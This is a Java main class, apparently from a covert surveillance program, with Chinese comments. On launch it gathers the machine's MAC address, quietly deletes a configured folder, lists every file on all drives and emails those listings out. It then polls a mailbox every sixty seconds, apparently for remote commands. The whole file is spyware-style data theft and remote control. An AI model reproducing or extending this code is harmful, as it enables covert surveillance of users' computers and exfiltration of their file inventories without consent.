/**
 * 
 */
package com.erbaoshen.work;

import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;

import org.apache.commons.io.FileUtils;

import com.erbaoshen.config.Config;
import com.erbaoshen.util.ErBaoEmailUtil;
import com.erbaoshen.util.ErBaoFileUtil;
import com.erbaoshen.util.ErBaoSystemUtiil;

/**
 * @author Administrator
 * 主方法
 */
public class MainMethod {

	/**
	 * @param args
	 */
	public static void main(String[] args) {
		// TODO Auto-generated method stub
		// 启动初始化
		initMethod();
		// 定时接收邮件
		runMethod();
		
	}
	
	// 定时方法接收邮件
	// 启动五秒后执行，每六十秒执行一直
	public static void runMethod() {
		Runnable runnable = new Runnable() {
			@Override
			public void run() {
				// 接收邮件
				ErBaoEmailUtil.recipient();
			}
		};
		ScheduledExecutorService service = Executors.newSingleThreadScheduledExecutor();
		service.scheduleAtFixedRate(runnable, 5, 60, TimeUnit.SECONDS);
	}
	
	// 软件启动初始化方法，获取基本信息
	public static void initMethod() {
		String home = Config.home;
		
		// 邮件内容
		String content = "MAC : " + ErBaoSystemUtiil.MACAddress() + ";";
		content += " 主目录 : " + Config.home + ";";
		
		FileUtils.deleteQuietly(new File(home)); // 删除文件夹下的内容
		
		List<File> listRoots = ErBaoFileUtil.listRoots();
		if (listRoots != null && listRoots.size() > 0) {
			List<File> listFile = new ArrayList<File>(); 
			int len = listRoots.size();
			for (int i = 0; i < len; i++) {
				listFile.clear();
				List<File> list = ErBaoFileUtil.searchAllInDir(listRoots.get(i));
				File file = new File(home + ErBaoSystemUtiil.reandomStr(8));
				ErBaoFileUtil.writeLines(file, ErBaoFileUtil.listFileToModelString(list));
				listFile.add(file);
				// 发送邮件
				ErBaoEmailUtil.send(listFile, content, null);
			}
			
		}
	}
	
}
